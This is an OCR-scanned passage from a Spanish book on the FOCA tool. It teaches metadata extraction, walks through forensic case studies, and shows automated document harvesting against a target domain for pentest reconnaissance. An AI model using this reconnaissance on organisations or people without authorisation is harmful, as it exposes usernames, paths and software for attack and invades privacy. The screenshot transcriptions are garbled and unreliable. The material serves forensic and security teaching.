ser de aplicacion obligatoria por todas las administraciones y organismos publicos, se ha dedicado
un apartado especifico a la limpieza de documentos. El capitulo terminara, por tanto, con una seccion
en la que se muestran diferentes aplicaciones, técnicas y procedimientos que pueden utilizarse para
que los documentos publicados en sitios web u otros tipos de repositorios publicos no contengan
informacion que pueda perjudicar a la entidad productora de la informacion.

1. Analisis de metadatos con FOCA

En esta primera seccion se estudiara como utilizar la herramienta FOCA para analizar los metadatos
de ficheros que ya se encuentren descargados en el equipo local del analista. Para ello, tras iniciar el
programa, es suficiente con arrastrar el documento deseado a FOCA.

1 www.boe.es/boe/dias/2010/01/29/PDFs/BOE-A-2010-1330_.PDF
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A continuacion se debe navegar por el panel de la izquierda y acceder a la vista de Metadatos, donde
se mostrara el documento que acaba de cargarse.

[= Project [ Beport ¥ Tools

f Options o Taskiist @ Plugins &~ About
=] @ No project |
[ i Metwork |
- Domains
#-¢9 Roles |
G @ Vunerabiities |
B e
" Documents (0/1) i
- Metadata Summary [m‘.;e o Mty pdf e B o G
id Type URL Dowrdoad  Diownload Date Sizn | Aneond
| Ho odt  Ci\Users\chen\Documents\Analysis\Wire Shark oct . 2M0/2012 163027 15077KB %

Imagen 02.01: Vista de Metadatos con los documentos cargados.

Para analizar el fichero y obtener sus metadatos se debe con pulsar con el boton derecho sobre el
archivo y seleccionar la opcion de extraer metadatos (Extract Metadata).

site site.com filetype pdf

@

[ Download All
} Delete

[lg Delete Al

)  Extract All Metada
A

Analyze Metadata
| & Addfile
[d Add folder

'@ Add URLs from file

Link »

Imagen 02.02: Extraer metadatos de un archivo.

En ese momento, FOCA analiza el fichero y, en el panel izquierdo, genera una entrada para el
documento analizado. Si se pincha sobre el nombre del archivo, en el panel central se muestran
todos los metadatos obtenidos, entre los que se encuentran, tal y como puede comprobarse en la
figura 02.03, el nombre de usuario del creador del documento y el sofiware que se utilizo para su
creacion.
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i_ Project i« Beport ¥ Tools i Options @/ Tasklist @@ Plugins & About
Ptribute Value
Pelomation ——————————————
URL C:\Users'\chen'\Documents\Analysis\Wire Shark odt
Local path C\Users\chen\Documents\Analysiz\Wire Shark odt
Download Yes
Analized Yes
Download date 210/2012 16:30:27
Size 150,77 KB
Users
Usemame chen
Usemame ies purta del verde
Fotders -------------------------------------- A S A —
Folder http:/Awww google es/
Folder hitp://www nba.com/
Dates
Creation date 09/11/2006 9:10:00
Printed date 01/01/2113 0:00:00
Modified date 16/11/2010 19:49:53
Other Metadata —————
Ppplication OpenOffice 3.2 Build 5483
5 Statistics Tables: 0 Images: 1 Objects: 0 Pages: & Paragraph]

Imagen 02.03: Metadatos obtenidos.

Ademas, expandiendo el mena desplegable que aparece junto al nombre del fichero, aparecen los
metadatos extraidos del fichero organizado por categorias, lo que facilita su visualizacion.

@ No project

- Network

i Domains

@9 Roles

Ij @ Vulnerabilties

Metadala
E] * Documents {1/1)

=) & ot (1)

& g Wire Shark odt

1

Attribute

Usemame
Usemame

Value

chen
ies punta del verde

Imagen 02.04: Meradatos organizados por categorias.
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También puede utilizarse FOCA para analizar varios ficheros al mismo tiempo. Por ejemplo, se
puede arrastrar una carpeta completa. Como se muestra en la figura 02.05, se han afiadido diferentes

tipos de ficheros ofimaticos e imagenes.

xxxxxxxxxxxi3

Type  URL
0 e hen ) D O CU 2 16:d
pdf  C\Users\cher\Documef (& Download . 22/10/2012 16:35:31
odp  C’\Users\chen\Docume{ | Download All ] 22/10/2012 16:35:31
odt  C\Users\chen\Docume =~ i 22/10/2012 16:35:31
od  C\Users\chen\Documef @ Delete 1 22/10/2012 16:35:31
odp  C\Userschen\Documef (5 Delete All 1 22/10/2012 16:35:31
odp ChUsers\chen\Documef . R N 2210/2012 16:35:31
odp  CiUsers\chen\Documet 8| BdractMetadata  { 22/10/2012 16:35:31
pdf  C\Users\chen\Docume(ll | Extract All Metads b 22/10/2012 16:35:31
ipg CAlsers\chen'\Documeq ., Analyze Metadata . 22/10/2012 16:35:31
odt CAUsers‘\chen\Documey ~ ———————— ; 22/10/2012 16:35: 31
pdf  Ci\Users‘chen\Docume{ | @ Add file b 22/10/2012 16:35:31

7 Add folder

e Add URLs from file

@ Link >

Message

Imagen 02.05: Diferentes tipos de archivos para analizar con FOCA.

Pinchando sobre cualquiera de los archivos afiadidos, si se selecciona la opcion de extraer todos
los metadatos (Extract All Metadata), FOCA se pone a trabajar y generar4 una entrada en la parte
izquierda para cada uno de los ficheros, organizandolos por tipo de archivo.

=i

Metadata
" Documents (12/12)
&=-@ jpg (1)
{:iij . vsita_cica jpg
- odp (4)
& Etiquetado LAN cableadas.odp
& Tema 1 - Intro ala Admon.odp
@42 Tema 3 - Gestién de Usuarios en ORACLE odp
- Temalodp
22 odt (3)
@& Practica navidefia PAR 2011.odt
- Practica Tema 3.odt
- WireShark.odt
=78 pdf 4)
#-TX) actividades_sad pdf
&1 DBA_I_Sipdf

'55 unixsec-2. 1 pdf

&%) WiiterSencilo pdf

i

Imagen 02.06: Ficheros organizados por tipo de archivo.
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Cuando se analizan varios ficheros, la seccion de resumen de metadatos (Metadata Summary)
es muy Util, ya que organiza en categorias la informacién encontrada en todos los archivos. Asi
utilizando las diferentes listas creadas, podemos ver los usuarios que se han encontrado, el software
utilizado para su creacion, los Sistemas Operativos, las carpetas compartidas localizadas, los correos
electronicos descubiertos, etcétera.

Si se pincha, por ejemplo, sobre la categoria Users, FOCA mostrara en el panel central cuéles son
los usuarios que se han descubierto en los archivos analizados, informandonos en la columna Value
del niimero de veces que ha aparecido cada usuario entre todos los ficheros que han sido analizados
hasta el momento, lo que dard muestra de la importancia del usuario dentro de la organizacion. Y
lo mismo ocurre para cada uno de los elementos localizados como rutas a impresoras, rutas locales,
versiones de software utilizadas, etcétera.

B Documents (12/12) .|
2@, jpa (1) | Autribute Value
g}é-@oépvfr‘dca'm All software found (9) - Times found -

. @i Biquetado LAN cableadas odp | Witer 2
& Tema 1 - Intro 2 la Admon odp i | OpenOffice 3.2 1
i Tema 3 - Gestion de Usuarios en ORACLE odp 4l | Acrobat Distilier 4.05 1
- Temal.odp i | OpenOffice 3.2 Build 9483 5

DE\' odt (3) | | OpenOffice 3.3 Build 9567 2

: D g Préctica navideria PAR 2011.odt " ' Adobe Photoshop CS2 4
@% s | = *

:,.,% W iy i | pdTex0.12d 1
=8 "iﬁ actividades_sad pdf } i | OpenOffice 2.0 1
%) DBA_I_Sipdt f
@-7%) unixsec-2.1pdf
[T WiiterSencillo pdf

B Metadata Summary
g Users (4)

Software {3)

(54 Emals {1
----- £ Operating Systems (2)
----- €Y Passwords (0)

Imagen 02.07: Resumen de metadatos.

Por dltimo, para cada dato encontrado FOCA ofrece la posibilidad de localizar y visualizar los
documentos en los que aparece esa informacion y poder navegar de forma répida hasta el elemento
del menti de documentos donde aparece ese valor.

Para ello basta con pinchar sobre el dato deseado con el boton derecho y seleccionar la opcion de
buscar documentos donde se encuentra este valor (Search documents where appears this value).
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Aitribute ~ Value
All users found (4) - Times found
RR 3
chen 1

Imagen 02.08: Localizar documentos donde aparece un determinado dato.

Metadatos como parte de una investigacion forense

En esta seccion van a plantearse una serie de casos forenses famosos que fueron resueltos analizando -
los metadatos de los ficheros implicados. Para ello mostraremos los resultados de su anélisis con
FOCA explicando las conclusiones que pueden derivarse de cllos, lo que ayudara al lector a tomar
una mayor conciencia de los riesgos derivados de una mala gestion de los metadatos.

El informe Blair

Se trata del caso que se presento en el primer capitulo relativo al documento sobre la guerra de Trak
que el gobierno de Tony Blair utilizo para justificar la participacion de Gran Bretafia en el conflicto
armado.

Cuando el ejecutivo britanico es interrogado en el Parlamento sobre la autoria del documento y la
implicacion del gabinete de Blair en su elaboracidn, el primer ministro y su equipo niegan cualquier
manipulacion del archivo. No obstante, alguien analizd los metadatos de la version Word del dosier
que el gobierno publico en el sitio web de Downing Street y pudo demostrar que Blair y su equipo
habian mentido.

Sise analiza ese fichero con FOCA se puede comprobar c6mo, en efecto, el documento fue modificado
por varios autores, cuyos nombres de usuario se corresponden con miembros del gabinete de Tony
Blair, y puede incluso comprobarse que en algin momento el archivo se copié a un disquete (A:).

- Jjpratt — John Pratt, trabajador de Downing Street.

- ablackshaw — Alison Blackshaw, asistente personal de la secretaria de prensa del primer
ministro.

- Mkhan — Murtaza Khan, miembro junior del gabinete de prensa del primer ministro.
- phamill — Paul Hamill, trabajador de la oficina de asuntos exteriores.
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Agtribute Value
Users -
Usemame MKhan
Usemame default
Usemame cicZ2
Usemame JPratt
Usemame ablackshaw
Usemame phamill
Fo‘ders ...... . SN S RS -E ) D i
Folder CADOCUME™1\phamill \LOCALS™~1\Temp",
Folder o CNTEMPN
Folder AN
Folder C:\ABlackshaw\,
Folder CAWINNT\Profiles‘mkhan\Desktop\.
Dates = R — gttt ittt G o
Creation date 03/02/2003 10:31:00
Printed date 30/01/2003 22:33:00
Modified date 03/02/2003 12:18:00

Imagen 02.09: Metadatos en el informe Blair.

El lector puede realizar este mismo analisis ya que, aunque el gobierno britanico elimind el
documento de su web al conocerse la noticia en la prensa, el poder de Internet hizo que alguien que
lo habia descargado previamente lo colgara en un sitio web” a disposicion de cualquiera que quiera
estudiarlo.

Localizacion de un defacer

Este segundo caso estudia los ataques realizados por un ciberdelincuente que logré vulnerar la
seguridad de varios sitios web pertenecientes a la policia de Estados Unidos. El atacante ademés,
publico a través de una cuenta Tiwitter los datos privados obtenidos en esas incursiones. Ademds,
tras comprometer los servidores, el atacante sustituia la web original por una pagina con la foto
de una sefiorita mostrando un cartel en el que aparecia el nickname del defacer, como forma de
autopropaganda del delito cometido.

El primer paso para analizar una incursion de este estilo consiste en estudiar los ficheros del registro
de acceso (access log) de los servidores comprometidos, que almacenan la informacién sobre todas
las peticiones que se procesan y tienen una estructura similar a la que se muestra en la siguiente
linea:

127.0.0.1 - = [10/0ct/2012:13:55:36 -0700] “GET /imagen.gif HTTP/1.1%" 200 2326

2 HTTP:/{www.computerbytesman.com/privacy/blair.doc
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Como puede verse, el fichero de log mantiene informacion sobre la direccion IP del cliente (host
remoto) que hizo la peticion al servidor, la fecha y la hora a la que el servidor recibid la peticion, la
linea de la peticion del cliente (con el método usado, el recurso solicitado y el protocolo utilizado),
el codigo de estado que el servidor envia de vuelta al cliente y el tamafio del objeto retornado
sin incluir las cabeceras de respuesta. Por tanto, esta informacion es fundamental para localizar la
direccion /P desde la que se produjo el ataque

A pesar de que parecia evidente que todos los defacements se habian realizado por la misma persona,
el analisis de los ficheros de registro de acceso de los servidores establecié que las direcciones /P
origen de las conexiones utilizadas para realizar los ataques a los diferentes servidores provenian de
paises distintos, lo que hizo sospechar a los forenses que las conexiones podrian ser de la red TOR?
(The Onion Routing).

El funcionamiento de este algoritmo es bastante sencillo. Desde el punto de vista del usuario de TOR
el software cliente que se utiliza es un proxy. Cuando se ejecuta el cliente TOR se descarga una lista
de servidores TOR (nodos) disponibles y, en base a esta lista, el cliente genera un camino de nodos a
través de la red TOR. Cada paquete enviado sigue el camino generado, y cada servidor lo reenvia al
siguiente nodo hasta que se llega al nodo de salida, que es quien realmente realiza la conexion con
el servidor destino al que se esté accediendo. Por tanto, el uso de la red TOR impide a los servidores
conocer la direccion IP real del usuario, ya que a todos los efectos es el nodo de salida quien ha
realizado la conexion.

El propio proyecto pone a disposicion publica un servicio web* que permite comprobar los nodos
TOR de salida que pueden alcanzar un determinado servidor en tiempo real. Realizando una consulta
con las direcciones /P de los servidores comprometidos, los investigadores comprobaron que, en
efecto, las direcciones /P origen desde las que se habian realizado los ataques provenian de la red
TOR.

# This is a list of all Tor exit nodes that can contact X.¥X.X.X on Port 80 #
# You can update this list by visiting https://check.torproject.org/cgi-bin/Tor-
BulkExitList.py?ip=X.X.X.X #

1.230.1592.196

101.98.158.193

103.4.16.118

103.4.19.122

105.236.141.71

106.187.36.183

106.187.36.240

e, 18%. 37,158

106.187.38.84

106.187.90.158

“Imagen 02.10: Lista de nodos TOR de salida.

3 HTTPS://www.torproject.org/
4 HTTPS://check.torproject.org/ CGI-bin/TorBulkExitList.py
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No obstante, realizando un andlisis exhaustivo de la imagen fue posible obtener informacién muy
valiosa para la investigacion, ya que el autor de los hechos habia olvidado limpiar sus metadaros.
Como la fotografia habia sido tomada con un teléfono con posicionamiento GPS los datos EXTF

contenian las coordenadas GPS desde la que fue tomada la imagen.

tute Ve sl 7 e 7o Comen esiinicn . Gome T o

Color Space sRGE

Exif Image Width 540 pixels

Exif Image Height 651 pixels

Sensing Method One-chip color area sensor |

Exposure Mode Auto exposure

White balance mode Auto white balance

Scene Capture Type Standard

Shampness Hard

GPS Makernote Ky,

GPS Latitude Ref 5

GPS Latitude 37'51°25,19989

GPS Longitude Ref E

GPS Longitude 145"151,200027

GPS Afttude Ref Sea level

GPS Altitude 83837/1392 metres

GPS Time-Stamp 382274 UTC

>

flessage
Document metadata extracted: C-\Users\maligno\Desktop

Imagen 02.11: Coordenadas GPS en los metadatos.

Aunque ninguno de los sospechosos residia en la ciudad y la calle correspondiente a estas
coordenadas, los investigadores del FBI pudieron comprobar que esta direccién coincidia con la
de la sefiorita que uno de los sospechosos tenia catalogada como su novia en su Facebook, lo que
facilité que se procediera a su detencion.

Seguimiento de movimientos

El anélisis de los metadatos EXIF de las fotografias pudo utilizarse también en el caso de un famoso
delincuente que fue detenido y acusado de haber perpetrado varios robos en casas de lujo de una
serie de poblaciones espafiolas. El sospechoso aportd como testigo en su declaracion a su compafiera
sentimental, la cual afirmaba que habia estado con €l en otra ciudad los dias que se habian cometido
los robos.
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Sospechando que pudiera tratarse de un falso testimonio los investigadores confiscan el teléfono
mévil del acusado para tratar de encontrar pruebas de su presencia en estas poblaciones, pero éste
se niega a entregar el codigo pin que protege el acceso al terminal. En un primer momento se trata
de realizar un ataque de fuerza bruta, pero el codigo pin resulta ser de una longitud de 11 caracteres,
lo que imposibilita desarrollar un ataque de estas caracteristicas. Ademas, la version del teléfono no
permite realizar un jailbreak, por lo que no se puede extraer demasiada informacion de €L

No obstante, gracias a la técnica conocida como JuiceJacking, los forenses logran descargar todos
los datos del usuario y acceder a las fotografias almacenadas en él. El JuiceJacking consiste en
conectar un cable USB al puerto USB del teléfono, puerto que se usa tanto para cargar el dispositivo
como para transferir informacion hacia o desde un ordenador, y tratar de copiar todos los datos
almacenados en el dispositivo y en su tarjeta de memoria.

Una vez que los forenses tienen acceso a las imdgenes, pueden analizar los metadatos de las
fotografias tomadas en las fechas en las que se cometieron los robos para tratar de corroborar la
version aportada por la testigo en su declaracion y, por tanto, decidir si el acusado debia ser puesto
en libertad.

No obstante, tal y como se muestra en la siguiente tabla, con la informacion obtenida con FOCA
relativa a las coordinadas GPS, fechas y horas de las fotografias almacenadas en el teléfono
del acusado, los investigadores son capaces de demostrar que la testigo habia mentido y que el
sospechoso si habia estado en las ciudades involucradas en el caso los mismos dias en los que se
perpetraron los delitos.

P ; . Ciudadenla
Delito Fecha Metadatos de 1a fotografia que se tomo la
' o : fotografia

Robo en un
| aparcamiento de
luna urbanizacion

| deSevilla | Date/Time 2012:04:21 14:23:39

GPS Latitude 37710°52,01998 N

21/04/12 | GPS Longitude 5759°29,63997 W Sevilla

Robo en una

23/04/12 GPS Longitude 3735’32,40005 W Granada
casa de Granada

_ . Date/Time 2012:04:23 20:34:31
| GPS Latitude 39727°16,13995 N

Asalto a un chalé
| de Valencia

'. | | Date/Time 2012:04:25 17:34:21

25/4/12 | GPS Longitude 0721°4,920044 W Valencia
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A L i . Ciudadenla
Delito  Fecha |  Metadatos de la fotografia que se tomé la
St s et

GPS Latitude 40725°7,680016 N
Robo en una
casa de lujo ' 27/04/12 GPS Longitude 3741°35,28008 W Madrid |
de Las Rozas, |
Madrid Date/Time 2012:04:27

15:04:44 '

Pirateria de software

En este Gltimo caso se va a suponer que la empresa Microsoft ha solicitado una inspeccion de
software de una compaiiia por sospechar que ésta puede estar incurriendo en un delito de uso ilegal
de software.

Antes de conceder la orden de inspeccion el juez decide solicitar a un perito que evalde los indicios
de utilizacion de software sin licencia por parte de la compaiiia acusada. Para ello, el perito forense
procede a recoger evidencias, que en este caso se trata de documentos piblicos disponibles en el
sitio web de la empresa investigada, con el objetivo de elaborar una lista de software usado por
esta compaiia, determinar qué versiones de diferentes aplicaciones estan siendo utilizadas por
cada usuario y, en definitiva, lograr esclarecer si existen indicios suficientes para afirmar que algin
usuario estd utilizando versiones de algiin programa sin contar con licencia de uso (por ejemplo, si
se comprueba que se ha usado Microsoft Office 2010 cuando la empresa s6lo ha comprado licencias
de Microsoft Office 2000).

Tras localizar, descargar y analizar con FOCA algunos de los archivos que la empresa tiene
publicados es su web, el perito ha preparado la siguiente lista de software utilizado para la creacion
de los ficheros:

1. Adobe Photoshop CS4 10. GPL Ghostscript 8.64

2. Writer 11. PDFCreator 0.9.8 Windows

3. OpenOffice 3.0 12. GPL Ghostscript 9.05

4. OpenOffice 3.2 13. PDFCreator 1.6.2 Windows XP

5. OpenOffice 3.3 14. Acrobat Distillier 8.2.0

6. Microsoft Office 2007 15. QuarkXPress 1.0

7. Microsoft Office 2010 16. Acrobat Distillier 8.2.5

8. Microsoft Office XP 17. Adobe Illustrator CS3

9. Acrobat Distillier 6.0.0 18. FreeHand 10: pictwpstops filter 1.0
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Con esta pequeiia lista parece evidente que no debe existir una politica de versiones de software
férrea marcada por la direccion de la empresa, ya que se utiliza una importante cantidad de software
diferente, con multiples versiones, y una mezcla de software gratuito, software libre y software
privativo comercial, lo que podria inducir a pensar que algin usuario de la empresa podria estar
usando algiin soffware sobre el que no dispone de licencia de uso. Para lograr recopilar un niimero de
evidencias suficiente el forense tendria que descargar todos los ficheros publicados en la web, para
luego proceder a analizar sus metadatos. Este proceso, no obstante, puede resultar largo y tedioso, lo
que sirve como motivacion para introducir el siguiente apartado del libro, en el que se muestra como
utilizar FOCA para automatizar este tipo de tareas.

2.Information gathering con FOCA

Como se ha estudiado en la seccién anterior, la herramienta FOCA es capaz de, analizando los
metadatos de diferentes tipos de ficheros, extraer informacion relativa a los usuarios que han creado
y editado los ficheros, los sistemas operativos que se utilizaron en la edicion y el sofiware utilizados,
rutas locales y remotas, carpetas compartidas, impresoras en red e, incluso, informacion sobre las
ACLs de la red.

En el caso del sistema operativo, si se trata de una version de fichero binario de Microsoft Office que
utiliza estructuras OLE, es posible reconocer siempre qué sistema operativo se utilizo. Dentro de esas
estructuras OLE, existen dos bytes, los llamados OSH y OSL de los streams SummaryInformation'y
DocumentSummaryInformation que guardan la informacion del sistema operativo. Estos dos valores
son actualizados por la API OLE cada vez que se hace uso de ella.

Sistema operativo / Software

Madntosh * / Microsoft Office * 3.10
Windows NT 3.51 / Microsoft Office* | 351
Windows NT 4.0 / Microsoft Office * 4.0
~ Windows98 T
Windows 2000 / Microsoft Office * 5.0
Windows XP / Microsoft Office* | 5.1
Windows Server 2003 / Microsoft Office 5.2
Windows Vista | Windows Server 2008 /f 6.0
Windows 7 / Microsoft Office * 6.1

Imagen 02,12: Tabla de valores de OSH y OSL identificando al sistema operativo.

En la web de Microsoft es posible encontrar una tabla de valores de OSH y OSL para las tltimas
versiones de los sistemas operativos Windows. Sin embargo, la prueba con muchos documentos nos
llevo a descubrir algunos valores més. Algunos han sido encontrados en ficheros Office con objetos
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OLE creados con MAC, con OpenOffice y con sistemas mas antiguos. La tabla resultante que ha
quedado es la siguiente

Como se puede ver, es posible saber si un fichero ha sido creado con OpenOlffice o desde un MAC,
ayudando a la FOCA, a pesar de que se hayan limpiado los metadatos y la informacién oculta con
utilidades de limpieza de ficheros como (RHD (Remove Hidden Data) o con la herramienta de
inspeccion de MS Office 2007-2013 que veremos mas adelante, a descubrir el sistema operativo de
un fichero.

Como es evidente, esta informacion puede resultar muy valiosa en la fase de Information gathering,
o Intelligence gathering, de un test de penetracion. Pero tener que localizar y descargar los ficheros
del dominio analizado para poder extraer sus metadatos puede resultar un proceso complicado y
lento, por lo que, desde sus primeras versiones, FOCA permite automatizar estas tareas.

Para comenzar con el analisis de un dominio hay que crear un nuevo proyecto introduciendo el

nombre de dominio objetivo.

Praject name dominio com
Domain website ' dominio com
Folder where save documents

Project date 29/09/2012 9:21:30
Autosave project each 5?3-] minutes

Imagen 02.13: Creacion de un nuevo proyecto.

Una vez creado el proyecto, es posible seleccionar el tipo de archivos que FOCA va a tratar de
localizar para este dominio. Para ello basta con marcar o desmarcar los tipos de ficheros deseados
en el cuadro de extensiones.
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Searchengines Exiensions

Gongie doc xls ppsxX s;«_:
[¥] Bing @ ppt [@docx [@]xisx [] s«
Exalead pps [Fppx [#]sxw [ odt
All  None 4 il 5

Imagen 02.14: Cuadro de extensiones.

Ademés de ficheros ofimaticos de la suite de Microsoft Office tanto en formato binario, como en
formato XML (doc, ppt, pps, xls, docx, pptx, ppsx y xIsx), de OpenOffice (odt, ods, odg y odp) y de
StartOffice (sxw, sxc y sxi), FOCA es capaz de localizar los siguientes tipos de archivos:

1. PDF (Portable Document Format File)

2. wpd (WordPerfect Document)

3. svg (Scalable Vector Graphics File)

4. svgz (archivo SVG comprimido)

5. indd (Adobe InDesign Document)

6. rdp (Remote Desktop Configuration File)

7. ica (Citrix ICA File)
Aunque no aparezcan en la lista, hay que tener presente que muchas extensiones de Microsoft
Office, Apple iWork o documentos PDF para el intercambio de datos también son analizables por
¢l motor que lleva incorporado FOCA, pero no estan dentro de la lista de ficheros que se buscan
automaticamente. En el caso de querer analizarlos se deberfan localizar con las opciones de busqueda

personalizada que se vera mas adelante en el libro. Algunos de esos formatos deberan ser cambiados
de extension antes de poder ser analizados.

El siguiente paso es seleccionar los motores de bisqueda que FOCA utilizaré para tratar de encontrar
ficheros de los tipos de archivos que han sido seleccionados que se encuentren publicados en Internet
para el dominio objetivo.

La razén por la que FOCA permite seleccionar mas de un buscador es que €stos no son perfectos;
ning(in buscador es capaz de encontrar todos los documentos publicados de un determinado dominio
y no todos localizan los mismos ficheros, debido, por ejemplo, a las implementaciones que realizan
del operador FILETYPE, el analisis de binarios o los archivos contenedores.

Como se puede ver en la imagen 02.15, realizando una busqueda combinada se aprovecha la potencia
de todos ellos y es posible encontrar el maximo niimero de los documentos publicados en la web.
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Imagen 02.15: Documentos localizados por diferentes motores de busqueda.

R
. B&ay

Hay que mencionar que el ejemplo mostrado en la figura anterior se llevo a cabo antes de que
Exalead obligara al usuario a introducir un captcha por cada btisqueda realizada. Por tanto en la
actualidad es poco recomendable, por lo incoémodo que resulta, utilizar este buscador.

En los capitulos 3 y 4 se estudiaran con detalle todas las opciones de configuracion del programa,
que permiten personalizar el andlisis respecto a las técnicas de descubrimiento de la red, las técnicas
de fingerprinting o las vulnerabilidades que trataran de descubrirse. Por el momento, dado que este
capitulo estd centrado en el analisis de metadatos, se dejarén todas esas opciones marcadas por
defecto.

De esta forma, una vez seleccionados los tipos de ficheros y los motores de busqueda, tan sélo es
necesario pulsar sobre el boton “Search AIl” para que FOCA comience a buscar todos los documentos
publicados para el dominio del proyecto.
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Custom search
id Type URL Download Dowrload Date Size  Analize}
@0 doc  hitp://rformatica gonzalonazareno org/redmine/attachm... X : 432KB %
@1 doc hitp //irfarmatica gonzalonazareno org redmine//attachm... X - TTi15KB x
%2 doc  Hitp.//informatica. gonzalonazareno oma/plataforma/plugi... X 5 - X
3 doc  http://irformatica gonzalonazareno org/plataforma/plugi... X - 815KB x
e php  http//informatica gonzalonazareno org/plataforma/mod/... X% 35KB x
(%5 php  hitp://informatica gonzalonazareno org/plataforma/mod/... X 573MB x
6 php  http://informatica gonzalonazareno org/plataforma/mod/... X - X
ER7 ppt  hitp//nformatica gonzalonazareno org/plataforma/plugi... X - 147KB X
@z ppt  hitp'//informatica gonzalonazarena ora/plataforma/plugi... X ~ 113KB x
s php http//informatica gonzalonazareno org/plataforma/mody/... X A 765KB x
%‘I‘ID ppt hitp//informatica gonzalonazareno org/plataforma/plugi.. X 229KB x
"ﬁ 1 pdf hitp://informatica gonzalonazareno org/plataforma filep .. X - 5925KB X
=12 pdf hitp//irformatica gonzalonazareno org/plataforma/plugi... X B 42MB X
13 pdf hitp //informatica gonzalonazareno org/plataforma/plugi... % - 74426 KB X
ﬁ} 14 rurtf htin  / firfnematicra nnnzalnnararann am fndatafoma dnloini w . FI2ATKR_ w

Imagen 02.16: Documentos encontrados por FOCA para un dominio objetivo.

Como puede observarse en la imagen 02.16, para cada fichero localizado FOCA muestra el tipo de
archivo, su direccion Url+ - que utilizara siempre como elemento comparador para no descargar
ficheros duplicados - y, si se selecciona la opcion “Usar el método HEAD para obtener el tamafio
de los ficheros” en la pestaiia Metadatos del ment Opciones, el programa también nos informa de
su tamario.

Hacer uso de la opcion de HEAD es especialmente util cuando lo que se quiere es hacer una
demostracion o una prueba rapida. Una vez que se tenga la lista de ficheros descubiertos con FOCA,
se podra ordenar la lista por tamafios de menor a mayor y asi descargar solo aq uellos que tengan un
menor peso.

FOCA realiza todo el analisis de los metadatos que contienen los ficheros en el disco duro local,
por lo que es necesario descargar los ficheros al equipo antes de poder analizarlos y tener suficiente
espacio disponible para guardarlos. Una vez descargados se podran afiadir todas las veces que se
quieran a proyectos de FOCA para volver a ser analizados en cualquier momento.

Para descargarlos, es suficiente con pinchar en el botén derecho sobre cualquiera de los ficheros
localizados. Alli se selecciona la opcioén “Download AIl’ para descargar todos. En la pestana
Metadatos del ment Opciones puede elegirse el nimero de ficheros a descargar de forma simultanea
para que el usuario pueda adecuar el comportamiento del programa a los recursos de memoria y
ancho de banda de los que disponga.

En la version Free el niimero de ficheros a descargar en paralelo esta limitado a 2, mientras que
los usuarios de la versién Pro pueden escoger el niimero que deseen. Las diferencias entre las
funcionalidades ofrecidas por una y otra version de FOCA se analizan en detalle en el capitulo 5.
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|> Project [=/Report (4 Tools 5§ Options () Tasklist @ Plugins & About
- nformatica gonzalonazareno org
il Network i
#-— Domains i
W3 Foles 1
@ @ff Vunerabiibes !
8 Metadata |
- = Metadata Summary C 3
‘u Type URL Download  Download Date Siwe  Analzed
3 doc  hitp//informatica genzalonazarena orgredmine/aitachm.. X 42K x
doc  http//informatica gonzalonazareno orgredminesstachm.. X TII5KB x
doc  hitp. U | plug x -
doc  hitp/drfermatica gonzalonazareno org.plataformaplugl. X B15KB x
| php | hitp-/Ardormatica gonzalonazaren org/plsteana o x x
php it/ Anformati orgipld g Downl 579MB %
php  hitp./Anformatica. gonzslonazarenc omg/pl ~i‘ Download All - x
ppt hitp:// infommatica gonzslonazarena org. pl 4TKB x
ppt  hitp//Anformatica gonzalonazaneno org/pld @ Delete TMIKE =
php  hitp/Arformatica gonzalonazareno org/pl T Delete All TESKB x
ppt  hitp/nformatica gonzalonazarena om/pid 29KB x
pd  hitp:/Arformatica gonzalonazarenc org/pid Extract Metadata 925K8 X
pdf hitp/ Ainfarmatica gonzsionazarenc org/pld 8 Extract All Metads 42MB x
pdf hitp / Ainformatica gonesionazaneno org./pl 4 Analyze Metadats T4EKE x
ol iy ] b Ak rery i 2274AKA o
= g Addfile 8
bt Sasen Sevaly g Addfolder
I & Add URLs from file
‘ @ Link ¥
Imagen 02.17: Descargar todos los ficheros localizados para un dominio.
[= Project [-__En._qaou #iTook &k Options (3 Tasklit @ Plugins g About
HOHmwmmm
1 Metwork |
- Domains i
- € Poles
i @ Vuhersbilties ]
= Metadata 4
Documents [VE3)
-~ Metadata Summary c
"] Type URL Download  Download Date Sze Analzed  Modiied
doc  hitpink g e chm.. ® Z909/2012 32742 412K x
doc  hitp/sink g/ed chy . 29/08/20N2 32817 75K x
doc  hitp fatat h . 2097201252743 2043K8 x
doc  http/Anformat { hug . 29092012 92814 BI5KE x
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Imagen 02.18: Extraer los metadatos de los documentos descargados.
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Si se desea descargar un tnico fichero o un grupo de ellos, también se puede hacer, simplemente
marcandolos y dando a la opcién Download. Una vez descargados - se sabra que todo ha ido bien por
el punto verde en la columna de Downloaded - FOCA podra analizar los metadatos de cada fichero
y crear una entrada para cada uno de ellos en la seccion de Documentos del panel de Metadatos,
organizandolos por tipo de archivo.

Ademas, tal y como se muestra en la imagen 02.19, en la seccion de Resumen de Metadatos FOCA
organiza en categorias la informacion encontrada en todos los archivos, de forma que es posible ver
de un vistazo todos los usuarios que se han encontrado, el soffware utilizado para su creacion, las
carpetas compartidas descubiertas, etcétera,

i=/Project [=/Repot ¥ Tools & Opticns (a TaskList Plugins &’ About
B@ informatica gonzalonazareno org
(- Network | | Attribute B Value
'ﬁ Ry All software found (30) - Times found ————————
E-§% Roles ;
G- Vuinerabilties [} Oponiiios 2
B~ Metadata . | Microsoft Office 5
&7 Documents (44/63) | | Acrobat Distiier 8.1.0 1
- @) doc (4) . | PScript5 dil Version 5.2.2 2
%) pdf (38) || writer 10
-E0 pot 2 . | OpenOffice 3.3 2
B aMgtEdda {S;;;mary ¢ | Impress 5
-l tnees
[ Folders (10) OpenOffice 3.2 6
@ Printers (0} ‘ Windows NT 4_,0 1
-5 | GNU Ghostscript 7.05 1
{57 Emails (0) i | Pages 5
--f£# Operating Systems (3) i | Mac OS X 10.5.2 Quartz PDFContext 5
-5, Passwords (0) | OpenOfiice 3.1 2
----- @ Servers (0) | LaTeX with beamer class version 3.07 2
- | pdfTex-140.10 1
i | LaTeX with ‘modemcy’ package 1
| LaTex 1
i | doPDF Ver 6.0 Build 253 (Windows XF x32) 1
. | OpenOffice 24 2
| | Microsoft Office XP 2

Imagen 02.19: Resumen de Metadatos.

La extraccion de metadatos se hara también de forma completa o individual, y navegando hacia un
documento concreto se podra ver exactamente toda la informacion que FOCA ha extraido de él. Por
comodidad, también es posible abrir el documento directamente desde FOCA con la opcién “Open”
disponible en el ment contextual que sale al hacer clic con el boton derecho sobre el archivo que se
estd analizando
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El ultimo paso para hacer que toda la informacion de metadatos que contienen los documentos
